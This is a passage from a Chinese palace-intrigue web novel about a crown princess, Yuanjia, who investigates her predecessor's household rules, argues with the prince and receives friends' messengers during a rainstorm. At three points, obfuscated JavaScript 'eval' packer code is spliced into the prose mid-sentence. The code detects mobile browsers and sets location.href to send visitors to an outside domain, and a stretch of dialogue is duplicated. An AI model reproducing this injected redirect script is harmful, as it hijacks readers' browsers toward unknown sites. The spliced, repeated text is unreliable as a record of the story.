徐妈妈摇头,“我离宫那年,薛娘娘还只是个梳着双髻的小娘子呢,被德妃娘娘召进了宫里做公主伴读……不过也曾听到些许流言,说薛家此辈的男丁中全无可造之材,德妃娘娘为求富贵长久,便属意培养族中其他的出色女孩儿。想来是年少时与太子同居皇宫,有青梅竹马之谊,这才做了太子妃罢……” “可薛神妃已不在了,又是我这个和薛家无半分干系的人坐上了太子继妃的位子,她如何求富贵长久呢?” 元嘉唇角微扬,分明平淡的语气,却莫名透出一丝说不清道不明的意味。 “女君是觉得,先太子妃、和德妃娘娘有不对劲?” 盼春斟酌着开口。 “……我就是觉得太矛盾了。”元嘉犹豫着摇头,眼中虑色愈浓,“都说太子和生母关系疏远,与薛家更少有往来,可偏偏娶了她的侄女做太子妃,恩爱情浓到前者逝世都难以忘怀。又说薛神妃贤良淑德、慈悲和善,可转头却能让太子府的其他人为某事日日向她请安。连所谓的施恩,如今看来也还有许多的漏洞与怪异之处。” 屋内虽全是元嘉自己的人,徐妈妈却仍在前者谈及太子和德妃时提高了警惕,又分出大半的注意力留意着院子里的动静,唯恐这些话被谁偷听了又传出去。 须臾方道:“咱们且还摸着石头过河呢,若真有异处,早晚是会露出马脚的,您如今还该将心思先放回太子身上……不论什么原因,您今日改了薛娘娘留下来的规矩是事实,太子晚间回来,定然就全知道了,女君到时又该如何解释呢?” 元嘉手肘撑着桌面,指尖缓缓抚过眉梢,“办法总是有的……且、离太子回府还好些时候呢,倒也不急在这一时。” 想了想,又扬声吩咐道:“拂冬,去把红玉叫进来,就说我有事情要问她。” 拂冬忙答应一声,小跑着往外头而去。 “你们这段日子,也替我在四处多留意着些,”元嘉重又看向盼春和敛秋,“先把门路摸清楚了,之后才好做其他打算。” 两人屈膝应下。 “……念夏那边,奴婢也说上一声罢?” 直起身,盼春的脸上带着显而易见的纠结,几番犹豫之后还是开了口。 “不必,她还有其他事情要做。” 盼春有些不安地看向元嘉,前者平静的声音在耳边响起,“红珠也是个擅梳妆的,这段日子就让她跟在念夏身边,学一学咱们屋里的规矩,还有我的喜好……既是太子派来的人,慢慢的总得用起来。” 盼春却听得心下一沉。如今是让人带着学规矩,可等到学好以后呢,两个别无二致的人又该留哪一个呢…… 说话间,拂冬领着红玉走了进来,二人行礼问安,而后安静地立在一侧。 “徐妈妈留下,其他人都出去做自己的事情吧,不必在这里守着了。” 众人齐声应是。 顿了顿,元嘉又吩咐道:“敛秋,晚些时候再熬一盅暖胃的粥,煨在炉子上,等殿下回来时好用。” “是。” 众人鱼贯而出,不多时,屋内只剩下了红玉和徐妈妈两人。 “你原是跟在太子身边的,如今见本宫倒也不必如此拘谨……坐下回话罢。” 元嘉笑了笑,语调温和。 一旁的徐妈妈旋即搬过一张小杌子,又放在红玉身后。后者屈膝谢过,方才小心翼翼地坐下,凝神等着元嘉问话。 “方才倪良娣她们过来请安,闲话间倒叫本宫想起了太子提过的卫良媛。昨日诸事繁琐,本宫也不好多问,只从太子口中听到卫良媛体弱,又说府里素有规制,不必本宫多费心……可本宫既为太子妃,哪能真因为这句话不管不问,这才特意叫了你来,也为本宫解一解困惑。” 元嘉把话说得又缓又慢,若她没有猜错,薛神妃立下的规矩,怕是与这位卫良媛有脱不开的干系。 “……女君容禀。” 红玉敛目沉思了会儿,方回话道:“卫良媛的位分虽居于倪、刘两位良娣之下,可却是几人中最早入府的那个——薛娘娘册封皇太子妃的次日,卫良媛便经由皇后殿下册了太子良媛。算下来,只比薛娘娘晚了半个月进少阳宫。” “卫良媛体弱是少时的毛病,可住进太子府后又被诊出了哮喘之症,这才是需要细心调理的,也才得了静养的医嘱……每年柳絮飘舞的季节,于良媛而言,便是最难熬的时候。” “哮喘?” 元嘉眉心微动,“卫良媛从前竟不知自己有此毛病吗?” “……良媛本就比旁人更易风寒咳嗽,底下人也都是知道的。” 红玉摇头,“住进飘絮台后,虽也有过几次呼吸不畅的情况,但当时都以为是季节变换的缘故,便连良娣自己也没有上心,只是如往常般熬了药,后来也是因为情况一直没有好转,这才请了太医诊脉,也才知道良娣害了哮喘……” “飘絮台……是因为那地方种满了柳树,所以才得此名吗?” 元嘉听着奇怪,不免问道。 红玉又是一摇头,“荷花池的柳树最多,至于飘絮台,则是因为临近荷花池,最能观赏柳絮纷飞的壮丽景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739889|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,所以才被取作此名。” “听着倒是个观景的好去处,却不像住人的地,怎会选做了良媛的寝居?” 像是察觉到了元嘉的所思,徐妈妈先一步问了出来。 “什么都瞒不过妈妈,”红玉赧然一笑,“这飘絮台最初便是为贵人们观景准备的,所以才会有个与别处不一样的高台,便连草木花树也比其他地方来的珍奇,虽也有住人的地方,可到底比不上其他专用作屋宅的院落……” “那──” 元嘉的眉头锁得更深。 “说来还是薛娘娘想得周到,”红玉面露缅怀之色,“知道卫良媛从前随父外任,最是喜爱山水河川之景,而太子府里最好的观景地便是飘絮台,这才禀了殿下,将飘絮台改做了良媛的寝居。” 顿了顿,又道:“当时只道卫良媛体弱,哪知道还有哮喘这桩事……良媛出事后,薛娘娘十分自责,第二日便为良媛换了住处,寻了个清净休养、远离柳絮的地儿,便是如今的畅和馆。那段日子,薛娘娘唯恐伺候的人不周到,几乎都要住到畅和馆了,最后卫良媛倒是好了,薛娘娘却反而病倒了。” 红玉满是唏嘘。 元嘉却若有所思,又不动声色地与徐妈妈交换了目光,后者心领神会,旋即道:“这么说,那畅和馆当与荷花池的距离很远了?” 红玉点了点头,又大致比划了一下方位,徐妈妈则引着前者将地处说得更细了些。元嘉听了两句,心中的异样感却似雪球般愈滚愈大──畅和馆确是个宜休养的好地方,可同样,也远离了府内中心,更是离燕景祁的澹怀堂相距十万八千里。 若说是无意,也未免太过巧合。可若说是故意,她却又想不出薛神妃必须这样做的理由。 “依你的说法,卫良媛该是好全了才对,怎么到如今还在休养,连外出走动都没有了?” 屋内的香愈发沉闷了,元嘉有些受不住般掩了口鼻,连带着说话声也被遮盖了不少。 红玉将元嘉的动作收入眼底,想了想,并没有急着回话,反而先告罪了一声,起身走到不远处的桌案旁,熄了香炉里燃得正盛的檀香,又将不知何时闭上的窗扇推开少许。 元嘉的目光亦随着红玉的走动而偏移,眉心的折痕舒展开来,又在眼尾晕出一抹极淡的笑意。 檀香的味道在一点点消散,红玉这才重新回到元嘉跟前,没有再坐下,只将手交叠搭在身前,站着回话道:“原是好全了的,只是良娣这哮喘之症,易得难解。虽离了柳絮,可到底是当年觉察的晚了些,后来虽一直精心养着,但每年柳絮纷飞,仍是难熬。” “薛娘娘心疼良媛,便传话免了良媛的问安,着她安心静养,便是年节,只要太医不觉良媛身子安好,薛娘娘也是不叫人出来的,唯恐着了凉,又是一场好歹。” 元嘉不置可否,只点了头,“原是如此,劳你为本宫解惑了。” 红玉将头垂得更低了,“奴婢分内之事,不敢邀功。” 元嘉将目光停留在红玉身上,心中也在不住地思量。她们几个在册封那日被燕景祁叫来了自己身边服侍,如今燕景祁入宫,却只带了申时安和兰华,便是前两日在府里,也不曾命其回澹怀堂伺候……红玉她们,想是已被属意归在自己的长春馆了。 垂下眼帘,元嘉回忆着红玉方才堪称妥贴的行止,遂道:“盼春跟在本宫身边多年,本宫亦是看重她。你这几日若得闲暇,可多去找她说说话,之后便和她一块儿在本宫身边轮值吧。” 红玉一听,立刻便明白了元嘉的未尽之意,心中一喜,忙行礼谢恩,“奴婢谢女君拔擢。” 元嘉抬手叫起,又借着倦累将徐妈妈和红玉都打发了出去,自己则独坐在屋内思忖。不到半个白日,她便收闻了太多的讯息,捎带的又都是些杂乱无头绪的事情,实在是令人头疼。 撑着脑袋,元嘉似憩非憩地呆坐了许久。屋内始终寂静一片,偶尔能听见指尖与桌面击触时发出的轻响声。 奇怪,太奇怪了…… 23. 以身试 燕景祁回来时,檐角下的灯笼也已点了起来。元嘉估摸着时辰,提前命膳房备好了一桌饭菜,另有敛秋煨上的一小锅香菇青菜粥。 燕景祁却没有直接来长春馆,反先回了趟澹怀堂,在书房停留了约两刻钟的工夫,才终于出现在元嘉面前。 黄花梨木的长方桌上,服侍的人早已将碗筷摆好,又各自站立在侧。燕景祁当是有些饿了,进门后并不多与元嘉说话,只随手端起离自己最近的碗,也不细看,低头便尝了一口。 甫一入口,便察觉到了不对劲。 用汤匙搅了两下,燕景祁看着翻现于粥面的少许碎丁,不确定道:“这是青菜、还有香菇?” 元嘉笑着点头,“是妾在家时爱吃的东西,叫敛秋浑下了点菜,就着米粒熬成的粥……殿下尝着,可还合胃口?” 燕景祁几口吃尽,又叫兰华进了一碗,这才开口:“孤从前倒吃得少,今日尝来,软糯咸鲜,味道却是不错,可有名字?” 元嘉微讶,她早做好了被质问的准备,却不想燕景祁先论起家常来了。这是在彰显自己的不在意,还是…… 目光从屋内众人的脸上扫过,元嘉眉心微动,面上却分毫不显,只噙着一抹浅笑道:“都是些家常饭食,哪有什么正经名字,不过是挑着好记的词儿随意一叫罢了。自然,也比不得如意卷、吉祥团之流的雅名……香菇青菜粥,殿下听了,可会觉得它俗气哪?” 燕景祁先是一愣,旋即朗笑出声,“大俗即大雅,名虽无奇,却也十分贴切,是个好名。” 元嘉也跟着一笑,借着男人起的话头,又说起府里的细碎小事来。两人一边闲谈,一边动筷,一餐饭倒用了大半个时辰。 饭毕。 兰华指使着人进屋收拾,盼春则服侍着两人回了内屋稍作梳洗,又出去唤人备好清水衣物。 燕景祁今夜是歇在长春馆的。 “……孤听说,你免了倪氏她们每日的请安,叫每旬来一次即可。” 此刻,屋内无旁人在侧,燕景祁姿态闲散地坐在榻上,盯着站在自己身前的元嘉,如是道。 元嘉心道一声“来了”,面上却愈发平静,只道:“孩子们正是长身体的时候,且,女官们不日就要来了,往后怕是更加辛苦,又何必让她们在妾这里耽搁工夫呢?” 顿了顿,又道:“再者,大家同住一个屋檐下,便是少了这一面,其他时候难道就见不着了么?妾思来想去,还是觉得不必讲究这些虚礼。” 这是她白日里想好的借口,但也不过作搪塞之用,端看燕景祁会否就此打住了。 只听前者又道:“你有这个心意便足够了,到底到底是神妃在时便有的习惯了,还是叫她们每日来见你一次,权当是叙家常。你刚入府,与她们多些走动也不是坏事。” 元嘉抬眼望去,只看见男人眼底一脉的冷漠淡然,夹杂着几分不辨喜怒的莫测。不像是生气,也谈不上恼怒,好似只是在等着她说出更能让人信服的理由罢了。 “殿下……” 白日积于心底的那丝怪异重又翻腾起来,元嘉拧起两弯细眉,刚说了两个字,便自觉语气太过生硬,顿了顿,又将声音放得更缓了些,继续道:“殿下,元嘉无意冒犯先太子妃,这规矩既是薛娘娘立下的,想来也是深思熟虑后才做下的决定。” 元嘉神色淡了些,走至燕景祁面前跪下,这才开口道:“殿下,季元嘉无意冒犯先太子妃,这规矩既是先太子妃在时立下的,想来定有一番深思熟虑。” 燕景祁没有说话,只收回了一直停留在元嘉身上的那道注视,嘴角似有若无的向下绷着,竟莫名让她品出几分失望的意味。 失望什么? 失望他听到的这番话?还是失望站在他面前的这个人? 熙宁公主的话言犹在耳,她其实也不该生出这样的念头,可不逊依旧在这一刻占了上风。昂首直视着燕景祁,元嘉一字一句道—— “只是,先太子妃的规矩是规矩,妾身的规矩便不是规矩了吗?” 男人的目光重又回到她的身上。 “孤不是这个意思,”燕景祁换了个姿势,眉梢微挑,“只是你这话说的不对,神妃本意也不是为了立规矩,只是想要府里的人多些走动罢了,算不得什么正经请安……且,神妃此举也算是事出有因。” 话中似有松动,可更像在指点着什么,她甚至听出了两分兴味。元嘉一度以为是自己的错觉,可燕景祁的表情却告诉她,这份感觉没有错──男人的嘴角甚至噙了一抹笑意。 可眼下显然不是深思的好时机,元嘉收敛好情绪,重又开口道:“妾身还未出阁时,便已听过先太子妃的贤名。坊间皆道,薛娘娘是个良善温润之人,又慈悲悯下,待人接物更是无可指摘……谪仙般的人物,又怎会存故意叫人立规矩的心思呢?” 捡着好话说了几句,元嘉方切入正题,“妾身不才,借殿下这几句话,也斗胆猜上一猜……薛娘娘想来也不是一入府就叫人日日来菡萏馆的,毕竟这是文德皇后明令废止的旧礼,便是母后,也不曾让嫔妃们日日问安。薛娘娘自幼长在宫闱,听训受教,耳濡目染,又怎会犯这样的错。” 听到这里,男人的眉头微展,嘴角上扬的弧度也愈大。元嘉一见,心中亦有数,只作没瞧见般继续道:“……只不过后来出了中书令一事,徐奉仪被贬生怨,性子更是大变,宫女们照顾卫良媛不当,又致良媛无辜染病,这才叫薛娘娘生了别的心思。” “一旬一见虽是遵礼行事,可到底间隔太长,宫里头女官们来往频繁,还有六尚局、内侍省等随时听候,自是万事妥帖。可太子府建在宫外,回了院子便是各自看顾的事情,再怎么小心,也总有不妥当的时候。” 说话间,元嘉仍不时观察着燕景祁的神色,见前者始终不曾打断自己,心中大石落定,“想是薛娘娘担心姊妹间生分,也怕再出一次卫良媛的事情,这才禀了您,让她们每日来这一趟,既能维系姊妹间的情谊,也不至出了什么事也不知道。殿下,妾身猜的、可对?” “就算是罢,”燕景祁眉心处的那道折痕总算松散开来,“但既然猜到了,便该知道神妃此举确是事出有因的,你又何必──” “薛娘娘思虑深远,妾身却觉得,这居家过日子,哪里是不走动便能淡了情分的,更遑论以此顾好各院的主子。若主子们真伤了损了,那也只是做下人的伺候不得当,下人的过错却要做主子的来填,岂非本末倒置?” 元嘉一字一句,“真怕有不妥,只管再多一倍、多两倍的人伺候着,出了岔子,便压犯错者惩戒。一次两次,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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像是没有察觉到元嘉的异样般,燕景祁又将前者拉至自己身边坐下,一副才反应过来的模样,“你是孤的妻子,大周朝的太子妃,东宫里外事自然由你做主,不必事事以孤的意志为先……今日这样就很好,万事有因,度也合适。” 元嘉身形微滞,旋即恢复正常,只弯起一双笑眼,顺着燕景祁拉扯的力道坐于其身侧,道:“妾身受教,得殿下此言,往后行事也算能心中有数了。” 她大约猜出来燕景祁的心思了,只是这过程太煎熬了些。也不知道薛神妃当年开口命诸人请安时,是否也如她今日这般经历了一遭…… 而她如今说的话,男人大抵是乐意听到的。 元嘉想。 果然,只听耳边声音又响起,“孤不过一粗鄙人尔,府里的许多事原就需太子妃上心料理。今日所见,孤确是没有看错人的。” “早前你命人熬煮的粥也很好,以后可让膳房多按着你的喜好进膳,孤也想一尝其他的口味。” 元嘉突然发现,似乎只要依着男人口中的“合适”行事,他便会有意无意地在另一处大开便宜之门,宽和许多,也纵容许多。 也因此,想得到更多的,便会不自觉的按他希望的方式去做…… 元嘉背脊惊出一身冷汗,稍有放松的心又一次防备起来,可看向燕景祁的眼里却始终不变笑意,更顺着男人的话道:“有殿下这句话,今后膳房送往澹怀堂的吃食可就要由着妾胡闹了。” “自是按你心意。” 烛火映照之下,两道被拉长的人影缓缓依偎在一起。元嘉放松般倚靠在燕景祁宽厚的胸膛上,不时回上一、两句话,可在男人看不到的地方,她的眼里却是一片平静。 24. 飒飒雨 那之后数日,燕景祁日日奔波于朝堂事,早出晚归成了家常便饭。 元嘉身为太子妃,按理应当时刻侍奉,起居一体,只燕景祁那日后似乎格外体贴,也无意用这件事要求元嘉处身典范,晨起时便格外注意,从不让自己扰了前者安眠,连带着伺候的人也步履小心,以至到元嘉清醒之时,身边早已是空无一人。 不知不觉间,离元嘉成婚竟已过一月。 这日醒来,燕景祁又是早早便离去了。元嘉撑着床沿起身,抬手抚过早已冰凉的侧榻,眼中神色复杂难明。 她实在看不懂燕景祁……分明希望事事按自己的期望去做,却又够不上唯我独尊四个字,如今又多在细微处为她考虑。这样尊贵无匹的一个人,做出这样的举动,究竟想要的是什么? 思来想去无果,元嘉也放弃了没有头绪的乱想,干脆掀起床帷,又唤人进屋梳洗。 红玉闻声而进,捧着水盆、布巾等物的宫女亦鱼贯入内,井然有序地服侍着元嘉起身。 “……外头的云黑压压一片,还刮起风来了,怕是要下场大雨。好在今日不是请安的日子,女君就在屋里坐着,奴婢也可以给您挽个松散些的发髻。” 元嘉正背着身换衣衫,连外衣都还未穿好,念夏便大咧咧地掀了帘子,一面自顾自地说着话,一面毫无顾忌地走了进来。红珠跟在身后,脚步显然有些迟疑,直到前者不耐烦地回头睨她,才匆匆一行礼,又迅速跨槛而入。 “没规矩。” 元嘉余光扫过念夏,嘴里不轻不重地斥了一句,“也不知道先瞧瞧屋子里在做些什么……就这么走进来,真是我平日里太惯着你了。” 院子里有行走的内侍,门外还有提膳等候的宫女,元嘉自己也还没收拾妥当,哪里能由着人就这样进来。 念夏自小便怕元嘉板着脸训人的模样,如今见前者出声呵斥,当即便不敢再说话,只仍觉委屈般扁了嘴。 红珠连忙解围,“原是这天气把人闷的难受,偏大半个月过去,愣是一滴雨都没落下来,如今好不容易见外头乌云密布,念夏这才激动了些。女君便不要生她的气了罢?” 说着,又在身后暗暗扯了扯念夏袖角,好叫人把这副表情收回去。本就做错了事,又怎好再摆出这样一副做派? 元嘉有些意外地看了红珠一眼──倒比她想象中更会处事,看来把人安排在念夏身边的决定没有做错。 “今日你来替本宫梳妆吧。” 元嘉这会儿也换好了衣裳,旋身坐到妆台前,如是道。 红珠低声应是,垂着眼快步从念夏身边穿过,从妆奁里摸出一把玉海棠花纹梳,力度适中的为元嘉梳起发来。 念夏的嘴扁得更厉害了,可也不敢在这当头说出其他的话,唯恐又惹得元嘉不快。老实立在一旁,见红珠替了自己平日的活计不说,动作亦是熟稔,心中更是难受,可也只敢绞着衣角,默不作声地围观。 轰隆隆几声闷响,下一刻便狂风大作,豆大的雨点被风吹打在窗棂上,又发出一连串滴答不绝的声响,大雨倾盆而下。 盼春连忙拉着念夏去关窗,将人短暂的带离元嘉的视线。 红珠握住玉梳的手顿了顿,三下五除二地为元嘉挽了一个倭坠髻,又从首饰盒里摸出两支嵌红宝鎏金簪,看了两眼便要给人簪上。 元嘉却在这时候偏了头,只看着镜中的自己,淡淡道:“已过新期,便不必再戴红了,替本宫寻些色浅的簪发吧。” 红玉反应快,元嘉刚说完,就另摸出两支白玉凤纹簪递给红珠。前者抬手接过,将其簪在元嘉发间,想了想,又告了声罪,快步走出去,不多时又拿着个小锦盒折返。 元嘉偏头望去,只见那盒子里放了对羊脂玉滴珠耳坠。品相上佳,但也称不上稀奇,可偏偏妙在这玉上连着的一抹红,绵延如丝线,给这纯白平添了一抹殊色。 小心替元嘉换上,红珠这才开口解释:“这耳坠是两年前皇后殿下所赐,用的是当年地方官员贺殿下千秋时献上来的玉料。” “因是一整块大玉,尚功局的人便拿它做了整套的头面,又按照皇后殿下的吩咐,将剩余角料打成了数对耳坠。宫中有儿女的娘娘们各得了一对,余下两对,一对给了熙宁公主,另一对便是女君如今戴的这副。” 元嘉抬手轻触,只觉指腹间一片温凉,“做工这般精巧,怎么收起来了,竟一直没有人戴过吗?” 这个人,自然指的是薛神妃。 “薛娘娘总以《学而》中的‘温良恭俭让’自省,平日少饰珠玉,簪发也多以时令鲜花为主。这耳坠虽是皇后殿下所赐,可薛娘娘也是不戴的,收下以后一直将它存放在库房。” 红珠拿着螺黛在元嘉眉间勾画,又匀出一部分注意力在前者的问题上,而后动作陡然一僵,惊觉自己说错了话。 一双手蓦地停在半空,红珠带着三分惊惶,不知是该继续,还是先跪地请罪。 “……怎么停下来了,是已经画好了吗?” 元嘉打量着镜中的自己,像是没看到红珠的不自在般,只轻声发出一句疑语。 “就差眉尾一笔了,女君再稍坐一会儿,马上就好。” 见红珠怔怔没有反应,红玉赶忙接了口,又暗暗瞪了前者一眼──这些话怎能当着如今太子妃的面说出口! 元嘉笑了笑,不置可否。 若说她对这番话没有半分波动,那绝对是骗人的。但这跟红珠有什么关系呢?她也不过就问答问罢了。这是薛神妃选择的作风与习惯,她既要与人区别开来,便不可能按她的处事继续……她本来也不爱这样的做派! “……女君,这便好了。” 耳边复又传来红珠声音,比方才更多了三分小心翼翼。 元嘉左右偏了两下脑袋,连带着两边的耳坠子也微微晃动起来,“你的手艺不错,心思也算灵巧,下次,再为本宫挽个别的发式吧。” 红珠一听,顿时如释重负,“谢女君夸赞!” “女君,早膳都已摆好了。” 敛秋站在一帘之隔的外间,恭声朝元嘉道。 后者嗯了一声,自妆台前起身,又在红玉几个的围簇下走了出来。 才坐下来,便见拂冬领了个年轻女郎过来,两人前后脚停在槛外,又屈膝向元嘉请安。后者显然受了这一场雨水的侵袭,虽不至于淋成落汤鸡,但身上依旧湿漉漉的,披了块宽大的布巾,此刻正不住地擦拭着。 “……芳菲?!” 元嘉讶异道。 “敛秋,快去给你的芳菲姊姊熬碗姜汤,再让念夏找身替换的衣裳……怎么这样大的雨还过来了,可是你家娘子有话要带给我?” 元嘉反应过来,连忙把人拉进屋里坐下,急急吩咐起左右来,又细细打量了一番,见芳菲只是打湿了面上的那层外衫,方才松了口气。 “奴婢快到太子府时才落的雨,倒也没真的被淋上,不妨事的。” 芳菲连忙推却,无奈被盼春和拂冬牢牢摁住难以起身,只好转而回答起另一个问题来,“我家娘子算着您的新期已过,今日特意约了欧阳将军,想着两个人结伴过来找您说话呢……谁知天公不作美,大清早的就下起雨来了。” 元嘉先是一喜,而后又生出少许憾意,“是阿,怎么就落起雨来了……” 自出嫁以后,她便再未见过柳安沅和欧阳沁两人,如今听到她们惦挂着自己,又算着日子要来太子府找她,心中自是高兴……若今日见不到,下一次便又不知道要到哪一日了。 “难为你一大早就赶过来,怕是连早饭都只囫囵了两口,”元嘉看着不见转小的雨势,“先去把衣裳换了,我让敛秋再给你拿些点心,等雨小些了再说吧。” 芳菲答应着,正要随拂冬而去,却见一个熟悉的身影被去而复返的念夏领着进屋,当下讶道:“侍剑姊姊?欧阳将军这就到了么……可、不是说要与我家娘子一块儿过来的吗?” 侍剑,便是常年跟随在欧阳沁身边的女护卫,见一屋子的人瞧着她面露茫然之色,不自觉现出几分赧然,连忙抱拳行礼道:“见过太子妃殿下。” 侍剑显然比芳菲更加狼狈,身上的衣服已经完全被雨水浸湿,发丝紧紧贴住两颊,整个人仿佛刚从水里被捞出来一般。 来不及问话,元嘉连忙把两人都赶去侧屋换下湿衣,又让人取来干净的布帕备用。一阵兵荒马乱之后,彼此才终于安稳落座。 “……原说好要一块儿过来的,但临时出了些岔子,沅娘子和我家将军怕是要明日才能过府了。” 侍剑一面擦拭着湿发,一面语焉不详。 元嘉下意识朝捧着点心盒的芳菲看去,却见前者同样不解,只好自己继续问道:“是临时出了其他事情?” 侍剑的视线有些飘忽,而后长叹了一口气,“沅娘子被靖安郡主扣下了,说是课业没做完前,别想出房门一步。” “娘子不是说她都安排好了么……” 芳菲脱口而出,声量虽小,可此刻屋内一片寂静,倒叫在场众人听了个分明。 这还有什么不明白的,元嘉也跟着叹了口气,“你家娘子又把刺绣给藏起来了?” 芳菲见再隐瞒不过去,只好苦着脸点头,“您是知道的,娘子她最恼的就是刺绣,平日里更是能躲就躲。可谁知这次请来的师傅严厉非常,娘子每每完不成课业,便直接告到郡主那去了……若不是近来老夫人常寻郡主娘娘嘱事,娘子怕连捡懒都不能够呢!” 顿了顿,又补充道:“国公爷也是知道的,还一直帮着娘子在郡主和师傅面前圆场呢,谁知今日……” 芳菲的声音低了下去。 “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777921|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是被逮了个正着?” 侍剑无奈点头,“正是呢。本都要预备出门了,偏就那么刚好,撞上了郡主娘娘和那刺绣师傅。郡主娘娘顺口提了嘴课业的事情,又没有国公爷帮着打掩护,沅娘子几句话便说漏了馅。” “所以又叫你多跑这一趟,也免得让我白等?” 元嘉哑然失笑。 “将军帮着说了许多的好话,这才得了郡主娘娘松口,又听沅娘子说已是遣了芳菲过来,便叫我快马跑这一趟,不想半道上竟下起雨来,反把自己弄的如此狼狈……” 侍剑接过敛秋递来的姜汤,又将手里的湿帕子递还回去,“将军这会儿被郡主留下来吃茶了,还请她一并守着沅娘子做活呢,说是今日至少要交出一件课业来,否则明日之事便不作数了。” “这个傻阿沅,每回都这样被郡主娘娘训,怎就偏偏不长记性呢!” 元嘉无奈摇头,又唤盼春走近,附耳低言了两句,前者诶了一声便往内屋而去,不多时捧回一个小托盘,上面放了几方绣帕,和数个香囊。 “这帕子原是你家娘子从前躲懒,赖着我帮她绣的。那时绣了许多,大部分都被她拿去充数了,在我手里的就这几方了。你将它们带回去,再同她说,我这里再没有绣成这样的帕子了,让她好歹再练练,别每次都叫我绣个歪歪斜斜的给她。” 又指着香囊朝侍剑道:“还是跟往年一样,里面放的都是些薄荷之类的清凉物。快入暑了,今年你们和沁姊姊又大半时间都待在边郊大营,那地方也没个什么遮挡物,把它佩在身上,好歹解解暑气。” “奴婢替我家娘子先谢过您了!” 芳菲喜笑颜开。 “您总是这般贴心,我家将军身上也不知有多少物件都是出自您手,便连我们几个,也跟着沾了不少的光。” 侍剑亦是感谢。 “如此,你们便下去歇着吧,不必陪着我在这里干坐了。等这雨停了,再慢慢回去。”元嘉笑了笑,“想来那时,国公府也已风平浪静了……拂冬,领着你的两位姊姊去侧屋休息休息。” 拂冬诶了一声,脚步轻快地走在最前头,芳菲谢过后连忙跟上,侍剑本也随在后头,却在跨出门槛的前一刻停了下来,一双眼睛朝着雨雾交织的某处看了又看,面上难得带了几分不确定。 “……怎么了?” 元嘉顺着侍剑的目光望去,雾蒙蒙的一片,什么也看不清。 “我、我隐约听到那处有人声……” 侍剑犹疑回头,“可不该阿,我方才一路过来,确定那地方是没有人的……且这样大的雨,谁又会特意过来呢?” 元嘉眼中多了两分深思──侍剑是跟着欧阳沁上过战场的,百步内的任何动静都瞒不过她。若她说自己听见了什么,那里便一定是有奇怪之处的…… 想了想,干脆命徐妈妈和红玉两个过去查看,又叮嘱二人小心,不要打草惊了蛇。她倒要看看,究竟是谁在长春馆行窥伺之事。 “不若还是我去──” 侍剑下意识上前,从军之人的谨慎在这一刻显露无遗。 “无妨,想来是哪处的耗子被这雨打坍了巢穴,急忙忙出来找路子的罢……你且安心去休息。” 元嘉面色如常,看向外处的视线却透着冷意。正逢早前引路的拂冬又折返回来寻人,侍剑一时无果,只好跟随离开。 “……是守角门的小宫女,偷摸开了条缝,正跟谁在说话呢!” 不多时,前去查看的两人也走了回来。徐妈妈倒还好些,红玉却带着明显的恼怒,愤愤道:“您慈悲善心,这样大的雨,特意叫她们这些值守在外院的都可以回屋歇着,不必候在廊下受冷风冷雨的侵袭。这妮子竟敢——” 徐妈妈阻了一下,又接口道:“按您的吩咐,未免惊了人,咱们也不敢走得太近。只那人打了伞,又有这场雨做遮挡,红玉娘子实在看不清长相,只能勉强辨认出那人穿的服制,当是哪个院子的嬷嬷。” “……人还在那里吗?” 元嘉又问道,语调难辨喜怒。 “这会儿已不在了,奴婢瞧着那人离开的方向,像是……东北角。” 红玉回忆了下,有些不确定道。 闻言,元嘉微眯了眼,先仰头确认了雨势大小,见天际隐约泛白,便知这场雨快要下到头了,遂道:“雨停之后,不管是当值的还是休息的,让所有人都来长春馆候着。期间若有谁向你们打听……” “奴婢自去拿话堵了她们的嘴!” 红玉利落道。 元嘉收回注视,又轻飘飘从红玉脸上掠过,浅浅一点头,算是允准了前者的话,只道:“那便去吧。” 而后,转身回了里屋。 遮遮掩掩的有什么意思,她今日偏要看看,这些人的葫芦里究竟在卖什么药! 25. 聪明误 又过了两刻钟,雨终于停了。 不多时,太子府内的大小仆婢,除贴身伺候的几个大宫女外,全部聚集在了长春馆,又垂目敛声地站于阶下空地等候。 元嘉却没有急着露面,只命人将屋门大开,又坐到特意放置在帘后的椅子上,手里端了杯热茶,一面用杯盖拂开面上的浮沫,一面朝红玉和盼春抬眼示意,两人立刻走了出去。 “原不必烦动诸位过来,只我们姊妹几个随太子妃入府,这一个月来又多留在长春馆伺候,少有出门与人打交道的机会。太子妃心慈,也是怕我们几个认错了人差错了事,这才命诸位聚于长春馆,彼此间也好相熟相熟。” 这话倒不是元嘉教的,想来是与红玉往各院传话时便想好了的借口。 可话虽说了出去,底下人却没一个敢开口的,自然也不敢抬头,只偷摸着交换视线,谁也不敢这时候做出头鸟。 元嘉浅浅啜饮了口茶水,亦是不说话,只等着看盼春如何应对。她不担心红玉,是因为前者是在宫里做惯了事情的老人了,可盼春不一样,她是作为自己的陪嫁侍女进府的,在阶下这些人的眼里不过是外来者,面上和善,心中却未必悦服。 今日之事,正好做一个契机,也为盼春立稳脚跟。 前者显然做好了准备,并不因眼前的场景生出怯意,只继续道:“既无人开口,想来诸位都是可以随意差遣办事的人了,如此倒是方便了我们几个。来日在场的若有谁推脱搪塞,咱们可是一概不听的。” 